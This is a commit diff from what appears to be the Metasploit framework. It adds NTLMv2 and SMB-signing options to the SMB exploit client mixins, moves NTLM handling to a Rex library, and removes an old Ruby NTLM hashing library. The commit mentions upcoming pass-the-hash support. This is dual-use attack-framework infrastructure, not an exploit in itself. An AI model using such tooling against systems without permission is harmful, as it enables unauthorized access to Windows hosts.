enable ntlmv2 and signing for smb client stack (pth implementation is coming), fixes #11678 and #152
git-svn-id: file:///home/svn/framework3/trunk@11893 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
4a36907832
commit
5f6995e8d3
|
@ -285,7 +285,7 @@ module Exploit::Remote::HttpClient
|
|||
# Get the challenge and craft the response
|
||||
ntlm_challenge = resp.headers['WWW-Authenticate'].match(/NTLM ([A-Z0-9\x2b\x2f=]+)/i)[1]
|
||||
return [nil,nil] unless ntlm_challenge
|
||||
ntlm_message_2 = Net::NTLM::Message.decode64(ntlm_challenge)
|
||||
ntlm_message_2 = Rex::Proto::NTLM::Message.decode64(ntlm_challenge)
|
||||
ntlm_message_3 = ntlm_message_2.response(
|
||||
{
|
||||
:user => opts['username'],
|
||||
|
|
|
@ -1,7 +1,10 @@
|
|||
require 'rex/proto/smb'
|
||||
require 'rex/proto/dcerpc'
|
||||
require 'rex/encoder/ndr'
|
||||
require 'net/ntlm'
|
||||
require 'rex/proto/ntlm/constants'
|
||||
require 'rex/proto/ntlm/crypt'
|
||||
require 'rex/proto/ntlm/base'
|
||||
require 'rex/proto/ntlm/message'
|
||||
|
||||
module Msf
|
||||
|
||||
|
@ -39,6 +42,7 @@ module Exploit::Remote::SMB
|
|||
OptString.new('SMBUser', [ false, 'The username to authenticate as', '']),
|
||||
OptString.new('SMBPass', [ false, 'The password for the specified username', '']),
|
||||
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', 'WORKGROUP']),
|
||||
OptBool.new('NTLM_UseNTLMv2', [ true, "Use NTLMv2 instead of NTLM2_session when \'Negotiate NTLM2\' key is true (default on vista and above)\n[valid when NTLM_UseNTLM2_session = true]", false]),
|
||||
], Msf::Exploit::Remote::SMB::Authenticated)
|
||||
end
|
||||
end
|
||||
|
@ -65,7 +69,18 @@ module Exploit::Remote::SMB
|
|||
OptString.new('SMBUser', [ false, 'The username to authenticate as', '']),
|
||||
OptString.new('SMBPass', [ false, 'The password for the specified username', '']),
|
||||
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']),
|
||||
OptString.new('SMBName', [ true, 'The NetBIOS hostname (required for port 139 connections)', '*SMBSERVER'])
|
||||
OptString.new('SMBName', [ true, 'The NetBIOS hostname (required for port 139 connections)', '*SMBSERVER']),
|
||||
OptBool.new('SMB_Verify_Signature', [ true, "When set this parameter will require server to correctly sign smb packets", false]),
|
||||
OptInt.new('SMB_CHUNK_SIZE', [ true, 'The chunk size for writing, bigger values will increase speed but may result in STATUS_ACCESS_DENIED in presence of signing, nt4 also do not like big values', 500]),
|
||||
OptString.new('SMBNative_OS', [ true, 'The Native OS to send during authentification', 'Windows 2000 2195']),
|
||||
OptString.new('SMBNative_LM', [ true, 'The Native LM to send during authentification', 'Windows 2000 5.0']),
|
||||
OptBool.new('NTLM_UseNTLMv2', [ true, "Use NTLMv2 instead of NTLM2_session when \'Negotiate NTLM2\' key is true (default on vista and above)\n[valid when NTLM_UseNTLM2_session = true]", false]),
|
||||
OptBool.new('NTLM_UseNTLM2_session', [ true, 'Activate the \'Negotiate NTLM2 key\' flag in ntlm authentification, when set client will use ntlm2_session instead of ntlmv1 (default on win 2K and above)', true]),
|
||||
OptBool.new('NTLM_Send_LM', [ true, "When set, client will send lm response, this has no effect on ntlm2_session response ( vista and above do not send lm response by default)\n[no effect when NTLM_UseNTLM2_session = true, NTLM_UseNTLMv2 = false or NTLM_Send_NTLM = false]", true]),
|
||||
OptBool.new('NTLM_Use_LanManager_key', [ true, "Activate \'Negotiate Lan Manager Key\' in ntlm authentification, when this flag is set, server will require client to use lanman signing key, this parameter has effect only when ntlmv1 response is used and lm response is sent \n[valid when NTLM_Send_LM = true ,NTLM_Send_NTLM = true, NTLM_UseNTLM2_session = false]", false]),
|
||||
OptBool.new('NTLM_Send_NTLM', [ true, 'Activate \'Negotiate NTLM key\' in ntlm authentification, when not set client will not send NTLM response (default behavior on old windows like win 95) this parameter should not be changed', true]),
|
||||
|
||||
|
||||
], Msf::Exploit::Remote::SMB)
|
||||
|
||||
register_options(
|
||||
|
@ -126,11 +141,21 @@ module Exploit::Remote::SMB
|
|||
datastore['SMBName'],
|
||||
datastore['SMBUser'],
|
||||
datastore['SMBPass'],
|
||||
datastore['SMBDomain']
|
||||
datastore['SMBDomain'],
|
||||
datastore['SMB_Verify_Signature'],
|
||||
datastore['NTLM_UseNTLMv2'],
|
||||
datastore['NTLM_UseNTLM2_session'],
|
||||
datastore['NTLM_Send_LM'],
|
||||
datastore['NTLM_Use_LanManager_key'],
|
||||
datastore['NTLM_Send_NTLM'],
|
||||
datastore['SMBNative_OS'],
|
||||
datastore['SMBNative_LM']
|
||||
|
||||
)
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
|
||||
end
|
||||
|
||||
|
||||
# This method returns the native operating system of the peer
|
||||
def smb_peer_os
|
||||
self.simple.client.peer_native_os
|
||||
|
@ -146,6 +171,13 @@ module Exploit::Remote::SMB
|
|||
self.simple.create_pipe(pipe)
|
||||
end
|
||||
|
||||
#the default chunk size of 48000 for OpenFile is not compatible when signing is enabled (and with some nt4 implementations)
|
||||
#cause it looks like MS windows refuse to sign big packet and send STATUS_ACCESS_DENIED
|
||||
#fd.chunk_size = 500 is better
|
||||
def smb_open(path, perm)
|
||||
self.simple.open(path, perm, datastore['SMB_CHUNK_SIZE'])
|
||||
end
|
||||
|
||||
def smb_hostname
|
||||
datastore['SMBName'] || '*SMBSERVER'
|
||||
end
|
||||
|
@ -624,7 +656,11 @@ module Exploit::Remote::SMBServer
|
|||
UTILS = ::Rex::Proto::SMB::Utils
|
||||
XCEPT = ::Rex::Proto::SMB::Exceptions
|
||||
EVADE = ::Rex::Proto::SMB::Evasions
|
||||
NTLM = Net::NTLM
|
||||
NTLM_CONST = ::Rex::Proto::NTLM::Constants
|
||||
NTLM_CRYPT = ::Rex::Proto::NTLM::Crypt
|
||||
NTLM_UTILS = ::Rex::Proto::NTLM::Utils
|
||||
NTLM_BASE = ::Rex::Proto::NTLM::Base
|
||||
NTLM_MESSAGE = ::Rex::Proto::NTLM::Message
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
|
790
lib/net/ntlm.rb
790
lib/net/ntlm.rb
|
@ -1,790 +0,0 @@
|
|||
#
|
||||
# = net/ntlm.rb
|
||||
#
|
||||
# An NTLM Authentication Library for Ruby
|
||||
#
|
||||
# This code is a derivative of "dbf2.rb" written by yrock
|
||||
# and Minero Aoki. You can find original code here:
|
||||
# http://jp.rubyist.net/magazine/?0013-CodeReview
|
||||
# -------------------------------------------------------------
|
||||
# Copyright (c) 2005,2006 yrock
|
||||
#
|
||||
# This program is free software.
|
||||
# You can distribute/modify this program under the terms of the
|
||||
# Ruby License.
|
||||
#
|
||||
# 2006-02-11 refactored by Minero Aoki
|
||||
# -------------------------------------------------------------
|
||||
#
|
||||
# All protocol information used to write this code stems from
|
||||
# "The NTLM Authentication Protocol" by Eric Glass. The author
|
||||
# would thank to him for this tremendous work and making it
|
||||
# available on the net.
|
||||
# http://davenport.sourceforge.net/ntlm.html
|
||||
# -------------------------------------------------------------
|
||||
# Copyright (c) 2003 Eric Glass
|
||||
#
|
||||
# Permission to use, copy, modify, and distribute this document
|
||||
# for any purpose and without any fee is hereby granted,
|
||||
# provided that the above copyright notice and this list of
|
||||
# conditions appear in all copies.
|
||||
# -------------------------------------------------------------
|
||||
#
|
||||
# The author also looked Mozilla-Firefox-1.0.7 source code,
|
||||
# namely, security/manager/ssl/src/nsNTLMAuthModule.cpp and
|
||||
# Jonathan Bastien-Filiatrault's libntlm-ruby.
|
||||
# "http://x2a.org/websvn/filedetails.php?
|
||||
# repname=libntlm-ruby&path=%2Ftrunk%2Fntlm.rb&sc=1"
|
||||
# The latter has a minor bug in its separate_keys function.
|
||||
# The third key has to begin from the 14th character of the
|
||||
# input string instead of 13th:)
|
||||
#--
|
||||
# $Id$
|
||||
#++
|
||||
|
||||
require 'base64'
|
||||
require 'openssl'
|
||||
require 'openssl/digest'
|
||||
require 'kconv'
|
||||
|
||||
module Net #:nodoc:
|
||||
module NTLM
|
||||
|
||||
module VERSION #:nodoc:
|
||||
MAJOR = 0
|
||||
MINOR = 1
|
||||
TINY = 1
|
||||
STRING = [MAJOR, MINOR, TINY].join('.')
|
||||
end
|
||||
|
||||
SSP_SIGN = "NTLMSSP\0"
|
||||
BLOB_SIGN = 0x00000101
|
||||
LM_MAGIC = "KGS!@\#$%"
|
||||
TIME_OFFSET = 11644473600
|
||||
MAX64 = 0xffffffffffffffff
|
||||
|
||||
FLAGS = {
|
||||
:UNICODE => 0x00000001,
|
||||
:OEM => 0x00000002,
|
||||
:REQUEST_TARGET => 0x00000004,
|
||||
# :UNKNOWN => 0x00000008,
|
||||
:SIGN => 0x00000010,
|
||||
:SEAL => 0x00000020,
|
||||
# :UNKNOWN => 0x00000040,
|
||||
:NETWARE => 0x00000100,
|
||||
:NTLM => 0x00000200,
|
||||
# :UNKNOWN => 0x00000400,
|
||||
# :UNKNOWN => 0x00000800,
|
||||
:DOMAIN_SUPPLIED => 0x00001000,
|
||||
:WORKSTATION_SUPPLIED => 0x00002000,
|
||||
:LOCAL_CALL => 0x00004000,
|
||||
:ALWAYS_SIGN => 0x00008000,
|
||||
:TARGET_TYPE_DOMAIN => 0x00010000,
|
||||
:TARGET_INFO => 0x00800000,
|
||||
:NTLM2_KEY => 0x00080000,
|
||||
:KEY128 => 0x20000000,
|
||||
:KEY56 => 0x80000000
|
||||
}
|
||||
|
||||
FLAG_KEYS = FLAGS.keys.sort{|a, b| FLAGS[a] <=> FLAGS[b] }
|
||||
|
||||
DEFAULT_FLAGS = {
|
||||
:TYPE1 => FLAGS[:UNICODE] | FLAGS[:OEM] | FLAGS[:REQUEST_TARGET] | FLAGS[:NTLM] | FLAGS[:ALWAYS_SIGN] | FLAGS[:NTLM2_KEY],
|
||||
:TYPE2 => FLAGS[:UNICODE],
|
||||
:TYPE3 => FLAGS[:UNICODE] | FLAGS[:REQUEST_TARGET] | FLAGS[:NTLM] | FLAGS[:ALWAYS_SIGN] | FLAGS[:NTLM2_KEY]
|
||||
}
|
||||
|
||||
# module functions
|
||||
class << self
|
||||
def decode_utf16le(str)
|
||||
Kconv.kconv(swap16(str), Kconv::ASCII, Kconv::UTF16)
|
||||
end
|
||||
|
||||
def encode_utf16le(str)
|
||||
swap16(Kconv.kconv(str, Kconv::UTF16, Kconv::ASCII))
|
||||
end
|
||||
|
||||
def pack_int64le(val)
|
||||
[val & 0x00000000ffffffff, val >> 32].pack("V2")
|
||||
end
|
||||
|
||||
def swap16(str)
|
||||
str.unpack("v*").pack("n*")
|
||||
end
|
||||
|
||||
def split7(str)
|
||||
s = str.dup
|
||||
until s.empty?
|
||||
(ret ||= []).push s.slice!(0, 7)
|
||||
end
|
||||
ret
|
||||
end
|
||||
|
||||
def gen_keys(str)
|
||||
split7(str).map{ |str7|
|
||||
bits = split7(str7.unpack("B*")[0]).inject('')\
|
||||
{|ret, tkn| ret += tkn + (tkn.gsub('1', '').size % 2).to_s }
|
||||
[bits].pack("B*")
|
||||
}
|
||||
end
|
||||
|
||||
def apply_des(plain, keys)
|
||||
dec = OpenSSL::Cipher::DES.new
|
||||
keys.map {|k|
|
||||
dec.key = k
|
||||
dec.encrypt.update(plain)
|
||||
}
|
||||
end
|
||||
|
||||
def lm_hash(password, half = false)
|
||||
if half then size = 7 else size = 14 end
|
||||
keys = gen_keys password.upcase.ljust(size, "\0")
|
||||
apply_des(LM_MAGIC, keys).join
|
||||
end
|
||||
|
||||
def ntlm_hash(password, opt = {})
|
||||
pwd = password.dup
|
||||
unless opt[:unicode]
|
||||
pwd = encode_utf16le(pwd)
|
||||
end
|
||||
OpenSSL::Digest::MD4.digest pwd
|
||||
end
|
||||
|
||||
def ntlmv2_hash(user, password, domain, opt={})
|
||||
ntlmhash = ntlm_hash(password, opt)
|
||||
#With Win 7 and maybe other OSs i sometimes get my domain not uppercased, so the domain does not always need to be in uppercase
|
||||
userdomain = user.upcase + domain
|
||||
unless opt[:unicode]
|
||||
userdomain = encode_utf16le(userdomain)
|
||||
end
|
||||
OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, ntlmhash, userdomain)
|
||||
end
|
||||
|
||||
# responses
|
||||
def lm_response(arg, half = false)
|
||||
begin
|
||||
hash = arg[:lm_hash]
|
||||
chal = arg[:challenge]
|
||||
rescue
|
||||
raise ArgumentError
|
||||
end
|
||||
chal = NTL::pack_int64le(chal) if chal.is_a?(Integer)
|
||||
if half then size = 7 else size = 21 end
|
||||
keys = gen_keys hash.ljust(size, "\0")
|
||||
apply_des(chal, keys).join
|
||||
end
|
||||
|
||||
def ntlm_response(arg)
|
||||
hash = arg[:ntlm_hash]
|
||||
chal = arg[:challenge]
|
||||
chal = NTL::pack_int64le(chal) if chal.is_a?(::Integer)
|
||||
keys = gen_keys hash.ljust(21, "\0")
|
||||
apply_des(chal, keys).join
|
||||
end
|
||||
|
||||
def ntlmv2_response(arg, opt = {})
|
||||
begin
|
||||
key = arg[:ntlmv2_hash]
|
||||
chal = arg[:challenge]
|
||||
rescue
|
||||
raise ArgumentError , 'ntlmv2_hash and challenge are mandatory'
|
||||
end
|
||||
chal = NTL::pack_int64le(chal) if chal.is_a?(::Integer)
|
||||
if opt[:nt_client_challenge]
|
||||
unless opt[:nt_client_challenge].is_a?(::String) && opt[:nt_client_challenge].length > 24
|
||||
raise ArgumentError,"nt_client_challenge is not in a correct format "
|
||||
end
|
||||
bb = opt[:nt_client_challenge]
|
||||
else
|
||||
begin
|
||||
ti = arg[:target_info]
|
||||
rescue
|
||||
raise ArgumentError, "target_info is mandatory in this case"
|
||||
end
|
||||
if opt[:client_challenge]
|
||||
cc = opt[:client_challenge]
|
||||
else
|
||||
cc = rand(MAX64)
|
||||
end
|
||||
cc = NTLM::pack_int64le(cc) if cc.is_a?(::Integer)
|
||||
|
||||
if opt[:timestamp]
|
||||
ts = opt[:timestamp]
|
||||
else
|
||||
ts = Time.now.to_i
|
||||
end
|
||||
# epoch -> milsec from Jan 1, 1601
|
||||
ts = 10000000 * (ts + TIME_OFFSET)
|
||||
|
||||
blob = Blob.new
|
||||
blob.timestamp = ts
|
||||
blob.challenge = cc
|
||||
blob.target_info = ti
|
||||
|
||||
bb = blob.serialize
|
||||
end
|
||||
|
||||
OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, key, chal + bb) + bb
|
||||
|
||||
end
|
||||
|
||||
|
||||
def lmv2_response(arg, opt = {})
|
||||
key = arg[:ntlmv2_hash]
|
||||
chal = arg[:challenge]
|
||||
|
||||
chal = NTLM::pack_int64le(chal) if chal.is_a?(::Integer)
|
||||
if opt[:client_challenge]
|
||||
cc = opt[:client_challenge]
|
||||
else
|
||||
cc = rand(MAX64)
|
||||
end
|
||||
cc = NTLM::pack_int64le(cc) if cc.is_a?(::Integer)
|
||||
|
||||
OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, key, chal + cc) + cc
|
||||
end
|
||||
|
||||
def ntlm2_session(arg, opt = {})
|
||||
begin
|
||||
passwd_hash = arg[:ntlm_hash]
|
||||
chal = arg[:challenge]
|
||||
rescue
|
||||
raise ArgumentError
|
||||
end
|
||||
|
||||
if opt[:client_challenge]
|
||||
cc = opt[:client_challenge]
|
||||
else
|
||||
cc = rand(MAX64)
|
||||
end
|
||||
cc = NTLM::pack_int64le(cc) if cc.is_a?(Integer)
|
||||
|
||||
keys = gen_keys passwd_hash.ljust(21, "\0")
|
||||
session_hash = OpenSSL::Digest::MD5.digest(chal + cc).slice(0, 8)
|
||||
response = apply_des(session_hash, keys).join
|
||||
[cc.ljust(24, "\0"), response]
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# base classes for primitives
|
||||
class Field
|
||||
attr_accessor :active, :value
|
||||
|
||||
def initialize(opts)
|
||||
@value = opts[:value]
|
||||
@active = opts[:active].nil? ? true : opts[:active]
|
||||
end
|
||||
|
||||
def size
|
||||
@active ? @size : 0
|
||||
end
|
||||
end
|
||||
|
||||
class String < Field
|
||||
def initialize(opts)
|
||||
super(opts)
|
||||
@size = opts[:size]
|
||||
end
|
||||
|
||||
def parse(str, offset=0)
|
||||
if @active and str.size >= offset + @size
|
||||
@value = str[offset, @size]
|
||||
@size
|
||||
else
|
||||
0
|
||||
end
|
||||
end
|
||||
|
||||
def serialize
|
||||
if @active
|
||||
@value
|
||||
else
|
||||
""
|
||||
end
|
||||
end
|
||||
|
||||
def value=(val)
|
||||
@value = val
|
||||
@size = @value.nil? ? 0 : @value.size
|
||||
@active = (@size > 0)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
class Int16LE < Field
|
||||
def initialize(opt)
|
||||
super(opt)
|
||||
@size = 2
|
||||
end
|
||||
def parse(str, offset=0)
|
||||
if @active and str.size >= offset + @size
|
||||
@value = str[offset, @size].unpack("v")[0]
|
||||
@size
|
||||
else
|
||||
0
|
||||
end
|
||||
end
|
||||
|
||||
def serialize
|
||||
[@value].pack("v")
|
||||
end
|
||||
end
|
||||
|
||||
class Int32LE < Field
|
||||
def initialize(opt)
|
||||
super(opt)
|
||||
@size = 4
|
||||
end
|
||||
|
||||
def parse(str, offset=0)
|
||||
if @active and str.size >= offset + @size
|
||||
@value = str.slice(offset, @size).unpack("V")[0]
|
||||
@size
|
||||
else
|
||||
0
|
||||
end
|
||||
end
|
||||
|
||||
def serialize
|
||||
[@value].pack("V") if @active
|
||||
end
|
||||
end
|
||||
|
||||
class Int64LE < Field
|
||||
def initialize(opt)
|
||||
super(opt)
|
||||
@size = 8
|
||||
end
|
||||
|
||||
def parse(str, offset=0)
|
||||
if @active and str.size >= offset + @size
|
||||
d, u = str.slice(offset, @size).unpack("V2")
|
||||
@value = (u * 0x100000000 + d)
|
||||
@size
|
||||
else
|
||||
0
|
||||
end
|
||||
end
|
||||
|
||||
def serialize
|
||||
[@value & 0x00000000ffffffff, @value >> 32].pack("V2") if @active
|
||||
end
|
||||
end
|
||||
|
||||
# base class of data structure
|
||||
class FieldSet
|
||||
class << FieldSet
|
||||
def define(&block)
|
||||
c = Class.new(self)
|
||||
def c.inherited(subclass)
|
||||
proto = @proto
|
||||
subclass.instance_eval {
|
||||
@proto = proto
|
||||
}
|
||||
end
|
||||
c.module_eval(&block)
|
||||
c
|
||||
end
|
||||
|
||||
def string(name, opts)
|
||||
add_field(name, String, opts)
|
||||
end
|
||||
|
||||
def int16LE(name, opts)
|
||||
add_field(name, Int16LE, opts)
|
||||
end
|
||||
|
||||
def int32LE(name, opts)
|
||||
add_field(name, Int32LE, opts)
|
||||
end
|
||||
|
||||
def int64LE(name, opts)
|
||||
add_field(name, Int64LE, opts)
|
||||
end
|
||||
|
||||
def security_buffer(name, opts)
|
||||
add_field(name, SecurityBuffer, opts)
|
||||
end
|
||||
|
||||
def prototypes
|
||||
@proto
|
||||
end
|
||||
|
||||
def names
|
||||
@proto.map{|n, t, o| n}
|
||||
end
|
||||
|
||||
def types
|
||||
@proto.map{|n, t, o| t}
|
||||
end
|
||||
|
||||
def opts
|
||||
@proto.map{|n, t, o| o}
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def add_field(name, type, opts)
|
||||
(@proto ||= []).push [name, type, opts]
|
||||
define_accessor name
|
||||
end
|
||||
|
||||
def define_accessor(name)
|
||||
module_eval(<<-End, __FILE__, __LINE__ + 1)
|
||||
def #{name}
|
||||
self['#{name}'].value
|
||||
end
|
||||
|
||||
def #{name}=(val)
|
||||
self['#{name}'].value = val
|
||||
end
|
||||
End
|
||||
end
|
||||
end
|
||||
|
||||
def initialize
|
||||
@alist = self.class.prototypes.map{ |n, t, o| [n, t.new(o)] }
|
||||
end
|
||||
|
||||
def serialize
|
||||
@alist.map{|n, f| f.serialize }.join
|
||||
end
|
||||
|
||||
def parse(str, offset=0)
|
||||
@alist.inject(offset){|cur, a| cur += a[1].parse(str, cur)}
|
||||
end
|
||||
|
||||
def size
|
||||
@alist.inject(0){|sum, a| sum += a[1].size}
|
||||
end
|
||||
|
||||
def [](name)
|
||||
a = @alist.assoc(name.to_s.intern)
|
||||
raise ArgumentError, "no such field: #{name}" unless a
|
||||
a[1]
|
||||
end
|
||||
|
||||
def []=(name, val)
|
||||
a = @alist.assoc(name.to_s.intern)
|
||||
raise ArgumentError, "no such field: #{name}" unless a
|
||||
a[1] = val
|
||||
end
|
||||
|
||||
def enable(name)
|
||||
self[name].active = true
|
||||
end
|
||||
|
||||
def disable(name)
|
||||
self[name].active = false
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
Blob = FieldSet.define {
|
||||
int32LE :blob_signature, {:value => BLOB_SIGN}
|
||||
int32LE :reserved, {:value => 0}
|
||||
int64LE :timestamp, {:value => 0}
|
||||
string :challenge, {:value => "", :size => 8}
|
||||
int32LE :unknown1, {:value => 0}
|
||||
string :target_info, {:value => "", :size => 0}
|
||||
int32LE :unknown2, {:value => 0}
|
||||
}
|
||||
|
||||
SecurityBuffer = FieldSet.define {
|
||||
int16LE :length, {:value => 0}
|
||||
int16LE :allocated, {:value => 0}
|
||||
int32LE :offset, {:value => 0}
|
||||
}
|
||||
|
||||
class SecurityBuffer
|
||||
attr_accessor :active
|
||||
def initialize(opts)
|
||||
super()
|
||||
@value = opts[:value]
|
||||
@active = opts[:active].nil? ? true : opts[:active]
|
||||
@size = 8
|
||||
end
|
||||
|
||||
def parse(str, offset=0)
|
||||
if @active and str.size >= offset + @size
|
||||
super(str, offset)
|
||||
@value = str[self.offset, self.length]
|
||||
@size
|
||||
else
|
||||
0
|
||||
end
|
||||
end
|
||||
|
||||
def serialize
|
||||
super if @active
|
||||
end
|
||||
|
||||
def value
|
||||
@value
|
||||
end
|
||||
|
||||
def value=(val)
|
||||
@value = val
|
||||
self.length = self.allocated = val.size
|
||||
end
|
||||
|
||||
def data_size
|
||||
@active ? @value.size : 0
|
||||
end
|
||||
end
|
||||
|
||||
class Message < FieldSet
|
||||
class << Message
|
||||
def parse(str)
|
||||
m = Type0.new
|
||||
m.parse(str)
|
||||
case m.type
|
||||
when 1
|
||||
t = Type1.parse(str)
|
||||
when 2
|
||||
t = Type2.parse(str)
|
||||
when 3
|
||||
t = Type3.parse(str)
|
||||
else
|
||||
raise ArgumentError, "unknown type: #{m.type}"
|
||||
end
|
||||
t
|
||||
end
|
||||
|
||||
def decode64(str)
|
||||
parse(Base64.decode64(str))
|
||||
end
|
||||
end
|
||||
|
||||
def has_flag?(flag)
|
||||
(self[:flag].value & FLAGS[flag]) == FLAGS[flag]
|
||||
end
|
||||
|
||||
def set_flag(flag)
|
||||
self[:flag].value |= FLAGS[flag]
|
||||
end
|
||||
|
||||
def dump_flags
|
||||
FLAG_KEYS.each{ |k| print(k, "=", flag?(k), "\n") }
|
||||
end
|
||||
|
||||
def serialize
|
||||
deflag
|
||||
super + security_buffers.map{|n, f| f.value}.join
|
||||
end
|
||||
|
||||
def encode64
|
||||
Base64.encode64(serialize).gsub(/\n/, '')
|
||||
end
|
||||
|
||||
def decode64(str)
|
||||
parse(Base64.decode64(str))
|
||||
end
|
||||
|
||||
alias head_size size
|
||||
|
||||
def data_size
|
||||
security_buffers.inject(0){|sum, a| sum += a[1].data_size}
|
||||
end
|
||||
|
||||
def size
|
||||
head_size + data_size
|
||||
end
|
||||
|
||||
|
||||
private
|
||||
|
||||
def security_buffers
|
||||
@alist.find_all{|n, f| f.instance_of?(SecurityBuffer)}
|
||||
end
|
||||
|
||||
def deflag
|
||||
security_buffers.inject(head_size){|cur, a|
|
||||
a[1].offset = cur
|
||||
cur += a[1].data_size
|
||||
}
|
||||
end
|
||||
|
||||
def data_edge
|
||||
security_buffers.map{ |n, f| f.active ? f.offset : size}.min
|
||||
end
|
||||
|
||||
# sub class definitions
|
||||
|
||||
Type0 = Message.define {
|
||||
string :sign, {:size => 8, :value => SSP_SIGN}
|
||||
int32LE :type, {:value => 0}
|
||||
}
|
||||
|
||||
Type1 = Message.define {
|
||||
string :sign, {:size => 8, :value => SSP_SIGN}
|
||||
int32LE :type, {:value => 1}
|
||||
int32LE :flag, {:value => DEFAULT_FLAGS[:TYPE1] }
|
||||
security_buffer :domain, {:value => "", :active => false}
|
||||
security_buffer :workstation, {:value => "", :active => false}
|
||||
string :padding, {:size => 0, :value => "", :active => false }
|
||||
}
|
||||
|
||||
class Type1
|
||||
class << Type1
|
||||
def parse(str)
|
||||
t = new
|
||||
t.parse(str)
|
||||
t
|
||||
end
|
||||
end
|
||||
|
||||
def parse(str)
|
||||
super(str)
|
||||
enable(:domain) if has_flag?(:DOMAIN_SUPPLIED)
|
||||
enable(:workstation) if has_flag?(:WORKSTATION_SUPPLIED)
|
||||
super(str)
|
||||
if ( (len = data_edge - head_size) > 0)
|
||||
self.padding = "\0" * len
|
||||
super(str)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
Type2 = Message.define{
|
||||
string :sign, {:size => 8, :value => SSP_SIGN}
|
||||
int32LE :type, {:value => 2}
|
||||
security_buffer :target_name, {:size => 0, :value => ""}
|
||||
int32LE :flag, {:value => DEFAULT_FLAGS[:TYPE2]}
|
||||
int64LE :challenge, {:value => 0}
|
||||
int64LE :context, {:value => 0, :active => false}
|
||||
security_buffer :target_info, {:value => "", :active => false}
|
||||
string :padding, {:size => 0, :value => "", :active => false }
|
||||
}
|
||||
|
||||
class Type2
|
||||
class << Type2
|
||||
def parse(str)
|
||||
t = new
|
||||
t.parse(str)
|
||||
t
|
||||
end
|
||||
end
|
||||
|
||||
def parse(str)
|
||||
super(str)
|
||||
if has_flag?(:TARGET_INFO)
|
||||
enable(:context)
|
||||
enable(:target_info)
|
||||
super(str)
|
||||
end
|
||||
if ( (len = data_edge - head_size) > 0)
|
||||
self.padding = "\0" * len
|
||||
super(str)
|
||||
end
|
||||
end
|
||||
|
||||
def response(arg, opt = {})
|
||||
usr = arg[:user]
|
||||
pwd = arg[:password]
|
||||
if usr.nil? or pwd.nil?
|
||||
raise ArgumentError, "user and password have to be supplied"
|
||||
end
|
||||
|
||||
if opt[:workstation]
|
||||
ws = opt[:workstation]
|
||||
else
|
||||
ws = ""
|
||||
end
|
||||
|
||||
if opt[:client_challenge]
|
||||
cc = opt[:client_challenge]
|
||||
else
|
||||
cc = rand(MAX64)
|
||||
end
|
||||
cc = NTLM::pack_int64le(cc) if cc.is_a?(Integer)
|
||||
opt[:client_challenge] = cc
|
||||
|
||||
if has_flag?(:OEM) and opt[:unicode]
|
||||
usr = NTLM::decode_utf16le(usr)
|
||||
pwd = NTLM::decode_utf16le(pwd)
|
||||
ws = NTLM::decode_utf16le(ws)
|
||||
opt[:unicode] = false
|
||||
end
|
||||
|
||||
if has_flag?(:UNICODE) and !opt[:unicode]
|
||||
usr = NTLM::encode_utf16le(usr)
|
||||
pwd = NTLM::encode_utf16le(pwd)
|
||||
ws = NTLM::encode_utf16le(ws)
|
||||
opt[:unicode] = true
|
||||
end
|
||||
|
||||
tgt = self.target_name
|
||||
ti = self.target_info
|
||||
|
||||
chal = self[:challenge].serialize
|
||||
|
||||
if opt[:ntlmv2]
|
||||
ar = {:ntlmv2_hash => NTLM::ntlmv2_hash(usr, pwd, tgt, opt), :challenge => chal, :target_info => ti}
|
||||
lm_res = NTLM::lmv2_response(ar, opt)
|
||||
ntlm_res = NTLM::ntlmv2_response(ar, opt)
|
||||
elsif has_flag?(:NTLM2_KEY)
|
||||
ar = {:ntlm_hash => NTLM::ntlm_hash(pwd, opt), :challenge => chal}
|
||||
lm_res, ntlm_res = NTLM::ntlm2_session(ar, opt)
|
||||
else
|
||||
lm_res = NTLM::lm_response(pwd, chal)
|
||||
ntlm_res = NTLM::ntlm_response(pwd, chal)
|
||||
end
|
||||
|
||||
Type3.create({
|
||||
:lm_response => lm_res,
|
||||
:ntlm_response => ntlm_res,
|
||||
:domain => tgt,
|
||||
:user => usr,
|
||||
:workstation => ws,
|
||||
:flag => self.flag
|
||||
})
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
Type3 = Message.define{
|
||||
string :sign, {:size => 8, :value => SSP_SIGN}
|
||||
int32LE :type, {:value => 3}
|
||||
security_buffer :lm_response, {:value => ""}
|
||||
security_buffer :ntlm_response, {:value => ""}
|
||||
security_buffer :domain, {:value => ""}
|
||||
security_buffer :user, {:value => ""}
|
||||
security_buffer :workstation, {:value => ""}
|
||||
security_buffer :session_key, {:value => "", :active => false }
|
||||
int64LE :flag, {:value => 0, :active => false }
|
||||
}
|
||||
|
||||
class Type3
|
||||
class << Type3
|
||||
def parse(str)
|
||||
t = new
|
||||
t.parse(str)
|
||||
t
|
||||
end
|
||||
|
||||
def create(arg, opt ={})
|
||||
t = new
|
||||
t.lm_response = arg[:lm_response]
|
||||
t.ntlm_response = arg[:ntlm_response]
|
||||
t.domain = arg[:domain]
|
||||
t.user = arg[:user]
|
||||
t.workstation = arg[:workstation]
|
||||
|
||||
if arg[:session_key]
|
||||
t.enable(:session_key)
|
||||
t.session_key = arg[session_key]
|
||||
end
|
||||
if arg[:flag]
|
||||
t.enable(:session_key)
|
||||
t.enable(:flag)
|
||||
t.flag = arg[:flag]
|
||||
end
|
||||
t
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,5 +1,6 @@
|
|||
require 'rex/proto/http'
|
||||
require 'rex/proto/smb'
|
||||
require 'rex/proto/ntlm'
|
||||
require 'rex/proto/dcerpc'
|
||||
require 'rex/proto/drda'
|
||||
|
||||
|
|
|
@ -0,0 +1,7 @@
|
|||
require 'rex/proto/ntlm/constants'
|
||||
require 'rex/proto/ntlm/exceptions'
|
||||
require 'rex/proto/ntlm/crypt'
|
||||
